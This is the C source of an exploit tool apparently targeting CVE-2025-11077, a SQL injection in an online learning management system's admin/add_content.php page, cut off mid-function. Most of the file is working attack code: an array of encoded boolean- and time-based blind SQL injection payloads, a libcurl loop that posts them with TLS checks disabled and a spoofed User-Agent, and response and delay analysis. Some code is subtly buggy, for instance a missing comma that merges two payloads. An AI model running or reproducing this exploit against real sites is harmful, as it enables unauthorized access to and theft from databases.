#include <stdio.h>
#include "argparse.h"
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#include <time.h>
#include <regex.h>
#include <arpa/inet.h> 
#include <sys/utsname.h>
#include <stdint.h>
#include <unistd.h>

#define F_U 3000 
#define POST_DATA 7000
#define DATA_WRITE 9000
const char* cookies = NULL;
const char* baseurl = NULL;
const char* fileName = NULL;
const char* fullURL = NULL;

int verbose = 0;
int cookiesFileS = 0;
int flagsTBD = 0;
int flagFile = 0;
struct Mem
{
    char* buffer;
    size_t len;
};
size_t write_cb(void* ptr, size_t size, 
    size_t nmemb, 
    void* userdata)
{
    size_t total = size * nmemb;
    struct Mem* m = (struct Mem*)userdata;
    char* tmp = realloc(m->buffer, 
        m->len + total + 1);
    if (!tmp) return 0;
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), 
        ptr, 
        total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}


const char* boolean_based_blind[] =
{
    "%61%6E%64%20%28%73%65%6C%65%63%74%20%73%75%62%73%74%72%69%6E%67%28%40%40%76%65%72%73%69%6F%6E%2C%31%2C%31%29%29=%E2%80%99%41%E2%80%99",
    "%61%6E%64%20%28%73%65%6C%65%63%74%20%32%30%73%75%62%73%74%72%69%6E%67%28%40%%76%65%72%73%69%6F%6E%2C%31%2C%31%29%29=%E2%80%98%41%E2%80%98",
    "YW5kIChzZWxlY3Qgc3Vic3RyaW5nKEBAdmVyc2lvbiwxLDEpKSA9ICdBJwo=",
    "YW5kIChzZWxlY3Qgc3Vic3RyaW5nKEBAdmVyc2lvbiwxLDEpKSA9ICdBJw==",
    "5957356b4943687a5a57786c5933516763335669633352796157356e4b454241646d567963326c76626977784c4445704b534139494364424a776f3d"
    "%61%6E%64%20%00%28%73%65%6C%65%63%74%20%00%73%75%62%73%74%72%69%6E%67%28%40%40%76%65%72%73%69%6F%6E%2C%31%2C%31%29%29=%20%00%E2%80%98%41%E2%80%98%00",
    "%61%6E%64%20%00%00%28%73%65%6C%65%63%74%20%00%00%73%75%62%73%74%72%69%6E%67%28%40%40%76%65%72%73%69%6F%6E%2C%31%2C%31%29%29%20=%20%00%00%E2%80%99%41%E2%80%99%00%00",
    "%41%4E%44%25%32%30%25%32%38%53%45%4C%45%43%54%25%32%30%25%32%41%25%32%30%46%52%4F%4D%25%32%30%25%32%38%53%45%4C%45%43%54%25%32%38%53%4C%45%45%50%25%32%38%35%25%32%39%25%32%39%25%32%39%62%41%4B%4C%25%32%39%25%32%30%41%4E%44%25%32%30%25%32%37%4A%53%4B%25%32%37%25%33%44%25%32%37%4A%53%4B",
    "%41%4E%44%25%32%30%25%00%32%38%53%45%4C%45%43%54%25%32%30%25%32%41%25%32%30%46%52%4F%4D%25%32%30%25%32%38%53%45%4C%45%43%54%25%32%38%53%00%4C%45%45%50%25%32%38%35%25%32%39%25%32%39%25%32%39%62%41%4B%4C%25%32%39%25%32%30%41%4E%44%25%32%30%00%25%32%37%4A%53%4B%25%32%37%25%33%44%25%32%37%4A%53%4B",
    "414e44202853454c454354202a2046524f4d202853454c45435428534c454550283529292962414b4c2920414e4420274a534b273d274a534b",
    "%31%31%92%20AND%20%28SELECT%203600%20FROM%20%28SELECT%28SLEEP%28%35%29%29WjSV%29",
    "11%27%20AND%20%29SELECT%203600%20FROM%20%29SELECT%29SLEEP%295%28%28%28WjSV%28",
    "11%27%00%20%00AND%20%00%29%00SELECT%20%003600%20%00FROM%20%00%29%00SELECT%29%00SLEEP%29%005%28%00%28%00%28%00WjSV%28%00",
    "11%E2%80%98%20%00AND%20%00%29SELECT%203600%20%00FROM%20%00%29SELECT%29SLEEP%29%35%29%29%29WjSV%29%00",
    "11%E2%80%99%20%00%00AND%20%00%00%28SELECT%203600%20%00%00FROM%20%00%00%28SELECT%28SLEEP%28%35%29%29%29WjSV%29%00%00",
    "MTEnIEFORCAoU0VMRUNUIDM2MDAgRlJPTSAoU0VMRUNUKFNMRUVQKDUpKSlXalNWKQo=",
    "MTEnIEFORCAoU0VMRUNUIDM2MDAgRlJPTSAoU0VMRUNUKFNMRUVQKDUpKSlXalNWKQ==",
    "UkxJS0UgKFNFTEVDVCAoQ0FTRSBXSEVOICg0MzQ2PTQzNDYpIFRIRU4gMHg2MTY0NmQ2OTZlIEVMU0UgMHgyOCBFTkQpKSBBTkQgJ1R4d3MnPScsCg==",
    "UkxJS0UgKFNFTEVDVCAoQ0FTRSBXSEVOICg0MzQ2PTQzNDYpIFRIRU4gMHg2MTY0NmQ2OTZlIEVMU0UgMHgyOCBFTkQpKSBBTkQgJ1R4d3MnPSc=",
    "RLIKE%20%28SELECT%20%28CASE%20WHEN%20%284346=4346%29%20THEN%200x61646d696e%20ELSE%200x28%20END%29%29%20AND%20%91Txws%91=%91",
    "RLIKE%20%28SELECT%20%28CASE%20WHEN%20%284346=4346%29%20THEN%200x61646d696e%20ELSE%200x28%20END%29%29%20AND%20%92Txws%92=%92",
    "RLIKE%28SELECT%28CASE%20WHEN%284346%20=%204346%29%20THEN%200x61646d696e%20ELSE%200x28%20END%29%29%20AND%20%E2%80%98Txws%E2%80%98%20=%20%E2%80%98",
    "RLIKE%28SELECT%28CASE%20WHEN%284346%20=%204346%29%20THEN%200x61646d696e%20ELSE%200x28%20END%29%29%20AND%20%E2%80%98Txws%E2%80%99%20=%20%E2%80%99",
    "524c494b45202853454c454354202843415345205748454e2028343334363d3433343629205448454e2030783631363436643639366520454c5345203078323820454e44292920414e44202754787773273d27",
    "RLIKE%28SELECT%28CASE%20%00WHEN%284346%20=%20%004346%29%20%00THEN%20%000x61646d696e%20ELSE%200x28%20END%29%29%20AND%20%00%E2%80%98Txws%E2%80%98%20=%20%00%E2%80%99%00",
    "RLIKE(SELECT(CASE%20%00%00WHEN(4346%20=%20%004346)%20%00%00THEN%20%00%000x61646d696e%20ELSE%200x28%20END))%20AND%20%00%00%E2%80%99Txws%E2%80%99%20=%20%00%00%E2%80%99%00%00",
    NULL

};
const char* words[] = 
{
    " AND ",
    " OR ",
    " NOT ",
    " = ",
    "<>",
    " > ",
    " < ",
    " >= ",
    " <= ",
    "SELECT",
    "FROM",
    "WHERE",
    "CASE",
    "WHEN",
    "THEN",
    "ELSE",
    "GROUP BY",
    "HAVING",
    "ORDER BY",
    "RLIKE",
    "REGEXP",
    "LIKE",
    "SUBSTRING",
    "SUBSTR",
    "ASCII",
    "ORD",
    "CHAR",
    "CAST",
    "CONVERT",
    "LENGTH",
    "LEN",
    "IF(",
    "IFNULL(",
    "COALESCE(",
    "CASE WHEN",
    "CASE",
    "UNION",
    "INFORMATION_SCHEMA",
    "INFORMATION_SCHEMA.TABLES",
    "INFORMATION_SCHEMA.COLUMNS",
    "DATABASE(",
    "VERSION(",
    "--",
    "#",
    "/*",
    "*/",
    ";",
    "'",
    "\"",
    "`",
    "CASE WHEN (",
    "SELECT (CASE WHEN",
    " RLIKE (SELECT",
    " AND (SELECT",
    NULL
};
void exitSyscall()
{
    __asm__ volatile
        (
            "mov $0x3C, %%rax\n\t"
            "xor %%rdi, %%rdi\n\t"
            "syscall\n\t"
            :
            :
            : "rax",
              "rdi"
        );
}
static long timespecDiff(const struct timespec* a, 
    const struct timespec* b) 
{
    long s = b->tv_sec - a->tv_sec;
    long ns = b->tv_nsec - a->tv_nsec;
    return s * 1000 + ns / 1000000;
}
static void cPing(int nV)
{
    if (nV == 0)
    {
        __asm__ volatile("nop");

    }
    else
    {
        pid_t pid;
        __asm__ volatile (
            "mov $0x3A, %%rax\n\t"  
            "syscall\n\t"
            : "=a" (pid)           
            :                        
            : "r11", 
              "rcx", 
              "memory"
            );
        if (pid == -1)
        {
            fprintf(stderr, 
                "[-] Error call sys_vfork, Exit...\n");
        }
        if (pid == 0)
        {
            const char* fullpath = "/usr/bin/ping";
            const char* argv[] = 
            {
                            "ping",
                            "-c",
                            "7",
                            "bytrep.com",
                            NULL
            };
            const char env[] = { 0 };
            printf("[+] chiled PID : %d\n", 
                pid);
            const char* ms1 = "[-] Error call sys_execve, Exit...\n";
            size_t l1 = strlen(ms1);
            printf("[+] Running the ping command to check your internet connection...\n");
            printf("[+] Command : ping -c 7 bytrep.com\n");
            __asm__ volatile
            (
                "mov $0x3B, %%rax\n\t"
                "mov %[fileName], %%rdi\n\t"
                "mov %[argv], %%rsi\n\t"
                "mov %[env], %%rdx\n\t"
                "syscall\n\t"
                "test %%rax, %%rax\n\t"
                "js negV\n\t"
                "posV:\n\t"
                "nop\n\t"
                "jmp resultSys\n\t"
                "negV:\n\t"
                "mov %[m1], %%rsi\n\t"
                "mov %[l1], %%rdx\n\t"
                "mov $0x1, %%rax\n\t"
                "mov $0x1, %%rdi\n\t"
                "syscall\n\t"
                "mov $0x0, %%rdi\n\t"
                "mov $0x3C, %%rax\n\t"
                "syscall\n\t"
                "resultSys:\n\t"
                :
                : [fileName] "r" (fullpath),
                  [argv]   "r" (argv),
                  [env]  "r" (env),
                  [m1] "r" (ms1),
                  [l1] "r" (l1)
                : "rax",
                  "rdi",
                  "rsi",
                  "rdx",
                  "rcx", 
                  "r11", 
                  "memory"
            );
        }
        else if (pid < 0)
        {
            pid_t mainPid;
            __asm__ volatile
            (
                "syscall\n\t"
                :"=a"(mainPid)
                :"a"(0x27)
                :"rcx", 
                 "r11", 
                 "memory"
                
            );
            if (mainPid == 0)
            {
                printf("[-] Error Get MAIN PID !\n");
                exitSyscall();
            }
            printf("[+] MAIN PID : %d\n", (int)mainPid);
        }
        else
        {
            
            printf("[+] Finish ping command.\n");
        }
    }
}
static uint64_t logfile(const char *fileName, 
    const char *payload, 
    const char *mes,
    long httpCode,
    const char *responseBuffer,
    long lenResponse)
{
    printf("===================================================== [LOG FILE] =====================================================");
    const char* m2 = "[-] Error Create file (NULL value)\n";
    size_t l2 = strlen(m2);
    const char* mS3 = "[+] Create File success\n";
    size_t lE3 = strlen(mS3);
    FILE* file = fopen(fileName,
        "w");
    uintptr_t fptr = (uintptr_t)file;
    if (!file) {
        perror("fopen failed");
        return 1;
    }
    __asm__ volatile
     (
         "cmp $0x0, %[file]\n\t"
         "je zeroFlag\n\t"
         "notZeroFlag:\n\t"
         "mov %[m3], %%rsi\n\t"
         "mov $0x1,  %%rdi\n\t"
         "mov %[l3], %%rdx\n\t"
         "mov $0x1,  %%rax\n\t"
         "syscall\n\t"
         "jmp runSyscall\n\t"
         "zeroFlag:\n\t"
         "mov %[m2], %%rsi\n\t"
         "mov $0x1,  %%rdi\n\t"
         "mov %[l2], %%rdx\n\t"
         "mov $0x1,  %%rax\n\t"
         "syscall\n\t"
         "mov $0x0, %%rdi\n\t"
         "mov $0x3C, %%rax\n\t"
         "syscall\n\t"
         "runSyscall:\n\t"
         :
         : [file] "r" (fptr),
           [m2] "r" ((uintptr_t)m2),
           [l2] "r" (l2),
           [m3] "r" ((uintptr_t)mS3),
           [l3] "r" (lE3)
         : "rax", 
           "rdi", 
           "rsi", 
           "rdx",
           "r11",
           "rcx",
           "memory"
      );
    printf("[+] FILE NAME : %s\n", fileName);
    printf("[+] Write FILE ...\n");
    struct timespec rq,rm;
    rq.tv_sec = 1;
    rq.tv_nsec = 600000000;
    register long r10R asm("r10");
    r10R = 0;
    printf("\e[0;33m[+] Sleep (%ld seconds) && (%ld nanoseconds)...\e[0m\n",
        rq.tv_sec, rq.tv_nsec);
    int ret;
    __asm__ volatile
    (
            "syscall"
            : "=a"(ret)
            : "a"(0xE6),
              "D"((long)0),
              "S"((long)0),
              "d"(&rq),
              "r"(r10R)
            : "rcx",
              "r11",
              "memory"
     );
    char dataW[DATA_WRITE];
    int lenWrite = snprintf(dataW, 
        DATA_WRITE,
        "[+] PAYLOAD : %s\n[+] %s\n[+] HTTP CODE : %ld\n[+] RESPONSE BUFFER : \n%s\n[+] LEN : %zu\n--------------------------------------------\n", 
        payload, 
        mes,
        httpCode,
        responseBuffer,
        lenResponse);
    size_t writeV = fwrite(dataW, 
        1, 
        lenWrite, 
        file);
    if (writeV < lenWrite)
    {
        fprintf(stderr, 
            "[-] Error write data to file!\n");
        exitSyscall();
    }
    else
    {
        printf("[+] Write file Success .\n");
    }
    if (fclose(file) != 0) 
    {
        perror("[-] Error closing file");
        return 1;
    }
    else
    {
        printf("[+] Close file.\n");
    }
    return 0;
    printf("======================================================================================================================\n");
}
int checkLen(int len, char* buf, size_t bufcap)
{
    if (len < 0 || (size_t)len >= bufcap)
    {
        printf("\e[0;31m[-] Len is Long ! \e[0m\n");
        printf("\e[0;31m[-] Len %d\e[0m\n", len);
        return 1;
    }
    else
    {
        printf("\e[0;34m[+] Len Is Not Long.\e[0m\n");
        return 0;

    }
    return 0;
}
int nextNumber()
{
    static const int  numbers[] =
    {
        1212,
        3434,
        4545,
        5677,
        7677,
        3243
    };
    static int index = 0;
    const int cNumber = sizeof(numbers) / sizeof(numbers[0]);
    int valNum = numbers[index];
    index = (index + 1) % cNumber;
    return valNum;

}
static void requestBlind(const char *baseURL)
{
    int nullValue = 0;
    CURL* curl = curl_easy_init();
    const char* mes3 = "\e[0;34m[+] Create Object CURL Success.\n";
    const char* mes4 = "\e[0;31m[-] Error Create Object CURL !\e[0m\n";
    size_t len3 = strlen(mes3);
    size_t len4 = strlen(mes4);
    __asm__ volatile
        (
            "cmp $0x0,    %[curlO]\n\t"
            "je .donV\n\t"
            ".erD:\n\t"
            "mov $0x1,    %%rax\n\t"
            "mov $0x1,    %%rdi\n\t"
            "mov %[msg], %%rsi\n\t"
            "mov %[len], %%rdx\n\t"
            "syscall\n\t"
            "jmp .finishC\n\t"
            ".donV:\n\t"
            "mov $0x1,    %%rax\n\t"
            "mov $0x1,    %%rdi\n\t"
            "mov %[msg1], %%rsi\n\t"
            "mov %[len1], %%rdx\n\t"
            "syscall\n\t"
            "mov $0x1, %[nullV1]\n\t"
            ".finishC:\n\t"
            : [nullV1] "+r" (nullValue)
            : [curlO] "r" (curl),
              [msg]   "r" ((const char*)mes3),
              [len]   "r" ((long)len3),
              [msg1]  "r" ((const char*)mes4),
              [len1]  "r" ((long)len4)
            : "rax",
              "rdi",
              "rsi",
              "rdx",
              "rcx",
              "r11",
              "memory"
        );
    cPing(nullValue);
    struct Mem response;
    CURLcode res;
    response.buffer = NULL;
    response.len = 0;
    const char* mes5 = "\e[0;34m[+] Buffer Clean Success.\e[0m\n";
    size_t len5 = strlen(mes5);
    __asm__ volatile (
        "test %[buffer], %[buffer]\n\t"
        "jz  L_print_clean\n\t"
        "L_continue:\n\t"
        "jmp L_done\n\t"
        "L_print_clean:\n\t"
        "mov $0x1, %%rax\n\t"
        "mov $0x1, %%rdi\n\t"
        "movq %[msg13], %%rsi\n\t"
        "mov %[len13], %%rdx\n\t"
        "syscall\n\t"
        "L_done:\n\t"
        :
        : [buffer] "r" ((const char*)response.buffer),
          [msg13]    "r" (mes5),
          [len13]  "r" (len5)
        : "rax",
          "rdi",
          "rsi",
          "rdx",
          "rcx",
          "r11",
          "memory"
        );
    char full[F_U];
    printf("[+] CHECK INPUT IP ...\n");
    int v1 = 0;
    int v2 = 0;
    if (strcmp(baseURL, "http://localhost") == 0)
    {
        printf("[+] localhost detect in BASE URL .");
        __asm__ volatile
        (
            "add $0x1, %[v1]\n\t"
            : [v1] "+r" (v1)
            :
            :
        );
        goto checkV;
    }
    else
    {
        printf("[-] Not detect localhost in BASE URL !\n");
        printf("[+] CHECK LOCAL IP : 127.0.0.1...\n");
        if (strstr(baseURL, "172.0.0.1") != NULL)
        {
            printf("[+] FOUND local ip .\n");
            __asm__ volatile
            (
                "add $0x1, %[v2]\n\t"
                : [v2] "+r" (v2)
                :
                :
            );
            goto checkV;
        }
        else
        {
            printf("[-] Not foud Local IP, check target ip...\n");
            char* lastW = strstr(baseURL, "http://");
            if (lastW != NULL)
            {
                char ipF[20] = { 0 };
                lastW += strlen("http://");
                strncpy(ipF,
                    lastW,
                    19);
                ipF[19] = '\0';
                printf("[+] Input ip : %s\n", ipF);
                regex_t regex;
                const char* regixP = "^((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])\\.){3}"
                    "(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])$";
                if (regcomp(&regex, 
                    regixP, 
                    REG_EXTENDED) != 0)
                {
                    printf("[-] The format has not been converted into an executable one.\n");
                    exitSyscall();
                }
                else
                {
                    printf("[+] The format has been successfully converted to an executable format.\n");
                }
                if (regexec(&regex, 
                    ipF, 
                    0, 
                    NULL, 
                    0) == 0)
                {
                    struct in_addr addr;
                    printf("[+] Valid Format IP.\n");
                    printf("[+] CHECK Version IP...\n");
                    if (inet_pton(AF_INET, 
                        ipF, 
                        &addr) == 0)
                    {
                        printf("[+] Result Version ip : IPV4.\n");
                        printf("[+] Start Exploit...\n");
                    }
                }
                else
                {
                    printf("[-] Invalid Format IP !\n");
                    exitSyscall();
                }
                    
            }
            else
            {
                printf("[-] Error get target IP !\n");
                exitSyscall();
            }
        }
    }
    checkV :
        if (v1 != 0 || v2 != 0)
        {
            printf("[+] Check ip Success, Start Exploit...\n");
        }
    for (int j = 0; boolean_based_blind[j] != NULL; j++)
    {
        printf("-----------------------------------------------------------------------------------\n");
        
        int lenC = snprintf(full, 
            F_U, 
            "%s/lms/admin/add_content.php", 
            baseURL);
        if (checkLen(lenC,
            full,
            F_U) == 1)
        {
            fprintf(stderr,
                "\e[0;31m[-] Error write base url !\e[0m\n");
            exitSyscall();
        }
        printf("\e[0;34m[+] Write base URL success.\e[0m\n");
        char postData[POST_DATA]; 
        int PNumber = nextNumber();
        int lenPost = snprintf(postData, 
            POST_DATA, 
            "title=%s&content=<p>%d</p>&save=Save",
            boolean_based_blind[j],
            PNumber
        );
        if (checkLen(lenPost,
            postData,
            POST_DATA) == 1)
        {
            fprintf(stderr,
                "\e[0;31m[-] Error write DATA Succes!\e[0m\n");
            exitSyscall();
        }
        printf("\e[0;34m[+] Write POST DATA Success.\e[0m\n");
        printf("[+] POST DATA : --------------------------------------------------\n");
        printf("\n%s\n", 
            postData);
        printf("[+] SIZE : %d\n", POST_DATA);
        printf("[+] Len : %zu\n", strlen(postData));
        printf("------------------------------------------------------------------\n");
        printf("[+] BASE URL : %s\n", 
            baseURL);
        printf("[+] FULL URL : %s\n", 
            full);
       
        curl_easy_setopt(curl,
            CURLOPT_URL,
            full);
        curl_easy_setopt(curl,
            CURLOPT_ACCEPT_ENCODING,
            "");
        curl_easy_setopt(curl,
            CURLOPT_FOLLOWLOCATION,
            1L);
        if (cookiesFileS)
        {

            curl_easy_setopt(curl,
                CURLOPT_COOKIEFILE,
                cookies);
            curl_easy_setopt(curl,
                CURLOPT_COOKIEJAR,
                cookies);
        }
        curl_easy_setopt(curl,
            CURLOPT_POST,
            1L);
        curl_easy_setopt(curl,
            CURLOPT_POSTFIELDS,
            postData);
        curl_easy_setopt(curl,
            CURLOPT_POSTFIELDSIZE,
            (long)strlen(postData));
        curl_easy_setopt(curl,
            CURLOPT_WRITEFUNCTION,
            write_cb);
        curl_easy_setopt(curl,
            CURLOPT_WRITEDATA,
            &response);
        curl_easy_setopt(curl,
            CURLOPT_CONNECTTIMEOUT,
            5L);
        struct timespec rqtp, rmtp;
        rqtp.tv_sec = 1;
        rqtp.tv_nsec = 500000000;
        register long r10R asm("r10");
        r10R = 0;
        printf("\e[0;33m[+] Sleep (%ld seconds) && (%ld nanoseconds)...\e[0m\n",
            rqtp.tv_sec, rqtp.tv_nsec);
        int ret;
        __asm__ volatile
            (
                "syscall"
                : "=a"(ret)
                : "a"(0xE6),
                "D"((long)0),
                "S"((long)0),
                "d"(&rqtp),
                "r"(r10R)
                : "rcx",
                "r11",
                "memory"
                );
        struct timespec t0, t1;
        curl_easy_setopt(curl,
            CURLOPT_TIMEOUT,
            10L);
        curl_easy_setopt(curl,
            CURLOPT_SSL_VERIFYPEER,
            0L);
        curl_easy_setopt(curl,
            CURLOPT_SSL_VERIFYHOST,
            0L);
        struct curl_slist* h = NULL;
        h = curl_slist_append(h,
            "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)");
        h = curl_slist_append(h,
            "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        h = curl_slist_append(h,
            "Accept-Encoding: gzip, deflate, br");
        h = curl_slist_append(h,
            "Accept-Language: en-US,en;q=0.5");
        h = curl_slist_append(h,
            "Connection: keep-alive");
        h = curl_slist_append(h,
            "Upgrade-Insecure-Requests: 1");
        curl_easy_setopt(curl,
            CURLOPT_HTTPHEADER,
            h);
        if (verbose)
        {
            printf("========================================== [Verbose MODE] ==========================================\n");
            curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
        }
        if (flagsTBD != 0)
        {
            long ret;
            printf("[+] Arg TBD run, CHECK time-based blind...\n");
            __asm__ volatile (
                "syscall\n\t"
                : "=a" (ret)                       
                : "a" (0xE4),
                  "D" (0x1),                     
                  "S" (&t0)                       
                : "rcx", 
                  "r11", 
                  "memory"           
                );
            if (ret < 0) 
            {
                fprintf(stderr,
                    "[-] clock_gettime syscall failed !");
            }
            printf("[+] secs=%lld nsec=%ld\n",
                (long long)t1.tv_sec, (long)t1.tv_nsec);
        }
        
        res = curl_easy_perform(curl);
        curl_slist_free_all(h);
        if (res == CURLE_OK)
        {
            printf("\e[1;36m[+] Request sent successfully\e[0m\n");
            long httpcode;
            double timeT;
            double timeR;
            char* urlD = NULL;
            curl_easy_getinfo(curl,
                CURLINFO_RESPONSE_CODE,
                &httpcode);
            curl_easy_getinfo(curl,
                CURLINFO_TOTAL_TIME,
                &timeT);
            curl_easy_getinfo(curl,
                CURLINFO_REDIRECT_TIME,
                &timeR);
            curl_easy_getinfo(curl,
                CURLINFO_REDIRECT_URL,
                &urlD);
            printf("\e[0;32m[+] Delayed response : %f\e[0m\n", 
                timeT);
            printf("\e[0;34m[+] TIME REDIRECT: %.1f\e[0m\n", 
                timeR);
            long connID;
            if (urlD == NULL)
            {
                printf("\e[0;36m[+] Not REDIRECT Found.\e[0m\n");
            }
            else
            {
                printf("\e[0;34m[+] REDIRECT To : %s\e[0m\n", 
                    urlD);
            }
            printf("\e[0;32m[+] HTTP CODE : %ld\n", 
                httpcode);
            curl_easy_getinfo(curl,
                CURLINFO_CONN_ID,
                &connID);
            printf("[+] Connection ID used: %ld\n",
                connID);
            long availAuth;
            curl_easy_getinfo(curl,
                CURLINFO_HTTPAUTH_AVAIL,
                &availAuth);
            printf("[+] CHECK support Authentication...\n");
            printf("[+] Available HTTP auth methods: 0x%lx\n", 
                availAuth);
            if (availAuth & CURLAUTH_BASIC)
            {
                printf("[+] Basic Authentication.\n");
            }
            if (availAuth & CURLAUTH_DIGEST)
            {
                printf("[+] Digest Authentication.\n");
            }
            if (availAuth & CURLAUTH_NTLM)
            {
                printf("[+] NTLM Authentication.\n");
            }
            if (availAuth & CURLAUTH_NEGOTIATE)
            {
                printf("[+] SPNEGO / Kerberos Authentication.\n");
            }
            if (availAuth == 0)
            {
                printf("[-] No HTTP auth methods detected.\n");
            }
            long httpVersion;
            curl_easy_getinfo(curl,
                CURLINFO_HTTP_VERSION,
                &httpVersion);
            printf("[+] HTTP version used : ");
            switch (httpVersion)
            {
            case CURL_HTTP_VERSION_1_0:
                printf("1.0\n");
                break;
            case CURL_HTTP_VERSION_1_1:
                printf("1.1\n");
                break;
            case CURL_HTTP_VERSION_2_0:
                printf("2.0\n");
                break;
            case CURL_HTTP_VERSION_2TLS:
                printf("2 (over TLS)\n");
                break;
            case CURL_HTTP_VERSION_3:
                printf("3\n");
                break;
            default:
                printf("Unknown\n");
                break;
            }
            if (flagsTBD != 0)
            {
                long ret1;
                __asm__ volatile 
                    (
                    "syscall\n\t"
                    : "=a" (ret1)
                    : "a" (0xE4),
                    "D" (0x1),
                    "S" (&t1)
                    : "rcx",
                    "r11",
                    "memory"
                    );
                if (ret1 < 0)
                {
                    fprintf(stderr,
                        "[-] clock_gettime syscall failed !");
                }
                printf("[+] secs=%lld nsec=%ld\n",
                    (long long)t0.tv_sec, (long)t0.tv_nsec);
            }
            if (flagsTBD != 0)
            {
                long ms = timespecDiff(&t0, &t1);
                printf("[+] payload elapsed (ms): %ld\n", 
                    ms);
                if (ms > 4000)
                {
                    printf("[+] Detected time delay (likely SLEEP)\n");
                }
                else
                {
                    printf("[+] No significant delay detected.\n");
                }
            }
            
            if (response.buffer != NULL)
            {
                printf("\e[0;35m=============================================== [RESPONSE] ===============================================\e[0m\n");
                printf("%s\n", response.buffer);
                printf("\e[0;32m[+] Size Pointer response : %d\e[0m\n", sizeof(response.buffer));
                printf("\e[0;32m[+] Len : %zu\e[0m\n", response.len);
                printf("\e[0;35m==========================================================================================================\e[0m\n");
            }
            else
            {
                printf("\e[0;31m[-] Error show buffer : NULL response !\n");
                __asm__ volatile
                    (
                        "xor %%rdi, %%rdi\n\t"
                        "mov $0x3C, %%rax\n\t"
                        "syscall\n\t"
                        :
                        :
                        : "rax",
                        "rdi"
                    );
            }
            if (httpcode == 501)
            {
                printf("[-] Response Code 501, Please check your input url !\n");
                if (response.buffer != NULL)
                {
                    if (strstr(response.buffer, "Unsupported method ('POST')") != NULL)
                    {
                        printf("[-] Error : Unsupported method ('POST')\n");
                    }
                    else
                    {
                        printf("[-] Not detect error.\n");
                    }
                }
            }
            if (flagFile != 0)
            {
                logfile(fileName, 
                    boolean_based_blind[j],
                    "Result Request :",
                    httpcode, 
                    response.buffer,
                    response.len);
            }
            if (httpcode >= 200 && httpcode < 300)
            {
                printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n",
                    httpcode);
                if (response.buffer != NULL)
                {
                    printf("=============================================== [Response] ===============================================\e[0m\n");
                    printf("%s\n", 
                        response.buffer);
                    printf("[+] Len response : %zu\n", 
                        response.len);
                    printf("==========================================================================================================\n");
                }
                else
                {
                    printf("[-] Response is NULL !\n");
                    exitSyscall();
                }
                int NotfoundWord = 1;
                printf("\e[0;33m[+] Check Word in response (word  boolean-based blind)...\n");
                for (int y = 0; words[y] != NULL; y++)
                {
                    if (response.buffer != NULL)
                    {
                        if (strstr(response.buffer, words[y]) != NULL)
                        {
                            printf("[+] Word Detect in response : %s\n", 
                                words[y]);
                            printf("=============================================== [Response FOUND WORD] ===============================================\e[0m\n");
                            printf("%s\n",
                                response.buffer);
                            printf("[+] Len response : %zu\n",
                                response.len);
                            printf("======================================================================================================================\n");
                            NotfoundWord = 0;
                            break;
                        }
                    }
                    
                }
                if (NotfoundWord != 0)
                {
                    printf("[-] Not found word in response !\n");
                    printf("[-] Please check Target ip and file (add_content.php)\n");
                }
            }
            else
            {
                fprintf(stderr,"\e[0;31m[-] Http code Not range (%ld)\e[0m\n", 
                    httpcode);
            }
        }
        else
        {
            fprintf(stderr,"\e[0;31m[-] The request was not sent !\e[0m\n");
            fprintf(stderr,"\e[0;31m[-] Error : %s\e[0m\n",
                curl_easy_strerror(res));
            exitSyscall();
        }
       
    }
    curl_easy_cleanup(curl);
    if (response.buffer)
    {
        free(response.buffer);
        response.buffer = NULL;
        response.len = 0;
    }
}


int main(int argc, const char** argv)
{
    printf("\e[0;37m+-------------------------------------------------------------+\e[0m\n");
    printf("\e[0;37m| Author       : Byte Reaper                                  |\e[0m\n");
    printf("\e[0;37m| CVE          : CVE-2025-11077                               |\e[0m\n");
    printf("\e[0;37m| Date         : 2025-09-28                                   |\e[0m\n");
    printf("\e[0;37m| Target File  : /admin/add_content.php                       |\e[0m\n");
    printf("\e[0;37m| Version      : V1.0                                         |\e[0m\n");
    printf("\e[0;37m+-------------------------------------------------------------+\e[0m\n");
    printf("\e[1;31m---------------------------------------------------------------------------------------------------------------------------------------\e[0m\n");
    printf("[+] System detect...\e[0m\n");
    struct utsname os;
    int tbd = 0;
    __asm__ volatile
        (
            "mov %0, %%rdi\n\t"
            "mov $0x3F, %%rax\n\t"
            "syscall\n\t"
            :
            : "r"(&os)
            : "rax",
              "rdi",
              "r11",
              "rcx",
              "memory"
        );
    printf("\e[0;36m[+] System Name: %s\e[0m\n", 
        os.sysname);
    printf("\e[0;36m[+] Machine    : %s\e[0m\n", 
        os.machine);
    if (strstr(os.sysname, "Linux") != NULL)
    {
        printf("\e[0;36m[+] Linux OS, Check Machine architecture...\e[0m\n");
    }
    else
    {
        printf("[-] OS Not Linux 64 bit (%s),Exit...\e[0m\n", 
            os.sysname);
        exitSyscall();
    }
    if (strstr(os.machine, "x86_64") != NULL)
    {
        printf("\e[0;36m[+] Machine architecture is 64 bit, run exploit...\e[0m\n");
    }
    else
    {
        printf("[-] OS Not architecture 64 bit (%s), Exit...\e[0m\n", 
            os.machine);
        exitSyscall();
    }
    struct argparse_option options[] =
    {
            OPT_HELP(),
            OPT_STRING('u',
                       "url",
                       &baseurl,
                       "Enter Target Url (BASE URL Online Learning Management System Project)"),
            OPT_STRING('c',
                       "cookies",
                       &cookies,
                       "Enter File cookies (Unnecessary) (DEFAULT = NULL)"),
            OPT_BOOLEAN('v',
                        "verbose",
                        &verbose,
                        "Verbose Mode (request info) (DEFAULT = 0)"),
                       
            OPT_BOOLEAN('b',
                        "tbd",
                        &tbd,
                        "Check time-based blind (DEFAULT = 0)"),
            OPT_STRING('f',
                        "file",
                        &fileName,
                        "Log file (DEFAULT = NULL)"),
            OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
        options,
        NULL,
        0);

    argparse_parse(&argparse,
        argc,
        argv);
    if (!baseurl)
    {
        printf("\e[0;31m[-] Please Enter target Url !\e[0m\n");
        printf("\e[0;31m[-] Example : ./CVE-2025-11077 -u http://<local/ip>\e[0m\n");
        exitSyscall();
    }
    if (cookies)
    {
        __asm__ volatile
            (
                "mov $0x1, %[var1]\n\t"
                "test %[var1], %[var1]\n\t"
